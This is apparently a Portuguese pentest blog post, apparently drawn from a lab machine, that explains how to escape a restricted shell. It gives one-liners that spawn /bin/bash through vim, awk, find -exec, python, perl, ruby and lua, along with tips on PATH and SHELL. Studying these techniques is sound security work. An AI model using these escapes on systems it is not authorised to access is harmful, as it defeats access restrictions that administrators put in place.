– root@injetionsec:~#

Escaping Restricted Shell ‘security shell’

07.09.2015 (2:18 pm) – Filed under: Pentest ::

Quando realizamos pentest deparamos com formas de bypassar para termos privilégios ao sistema, recentemente esbarrei com o security shell (shell restrito) pesquisei mais sobre como escapar e executar comandos que permite listar,executar e ler e etc, ao “bypassar” essa restrição podemos :

  • ativar e desativar variáveis de ambiente como SHELL, PATH
  • alterar os diretórios
  • importar definições
  • usar operadores para redirecionar : ‘>’, ‘>|’, ‘<>’, ‘>&’, ‘&>’, e ‘>>’
  • e etc

Devemos reunir um pouco de informação, com o comando ‘env’ assim podemos entender o perfil e como está configurado.

es02

Depois de vermos onde o diretório PATH esta apontando, vamos listar o seguinte diretório  ‘ls /usr/local/bin’ para vermos quais comandos estão presentes no sistema, caso o comando ‘ls’ não esteja presente no sistema basta usar o ‘echo  /usr/local/bin/ * ‘

Se precisarmos teremos que exportar ‘export’ as  variáveis ​​ no shell, você pode simplesmente definir o de sua escolha como ( sh, bash, ksh, etc …).

Se você é capaz de copiar arquivos em seu PATH, então você vai ser capaz de ignorar a restrição barra. Você também pode escrever seu próprio script, basta copiar para o PATH, e executá-lo, podemos  tentar copiar os arquivos para seu diretório home e executá-los de lá, se você tentar executar algo ‘./’, irá falhar pois o shell é limitado é não permite o uso de uma barra, nosso objetivo e tentar executar o seguinte binário ‘tfc’, vejamos esse processo usando o vim.

es03

jason@knockknock:~$ vim

[esc] :set shell=/home/Jason/tfc __________ // de enter
[esc] :shell ____________________________  // de enter
[esc] :q! ________________________________// sair

es04

 

awk: podemos executar ‘awk’ e dentro dele uma shell.

jason@knockknock:~$  awk ‘BEGIN {system(“/home/jason/tfc “)}’

es05

Pode ser usado o find,tee ou outras linguagens

jason@knockknock:~$ find / -name feii -exec /bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;
jason@knockknock:~$ echo “executando” | tee script.sh
python: exit_code = os.system(‘/bin/bash ‘) output = os.popen(‘/bin/bash ‘).read()
perl -e ‘exec “/bin/bash “;’
perl: exec “/bin/bash “;
ruby: exec “/bin/bash ”
lua: os.execute(‘/bin/bash ‘)
irb(main:001:0> exec “/bin/bash ”

Pode ser criado um link simbólico

es06

É isso ai galera ¬¬

Referências
Unix Shells: Bash, Fish, Ksh, Tcsh, Zsh : http://hyperpolyglot.org/unix-shells
Escaping Restricted Shell : http://securebean.blogspot.com.br/2014/05/escaping-restricted-shell_3.html
http://www.softpanorama.org/Scripting/Shellorama/restricted_shell.shtml https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/
Using sudo – part secuiry : http://aplawrence.com/Basics/sudo.html
https://en.wikipedia.org/wiki/Restricted_shell
http://www.unix.com/security/5796-restricted-user.html
http://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
http://linuxshellaccount.blogspot.com.br/2008/05/restricted-accounts-and-vim-tricks-in.html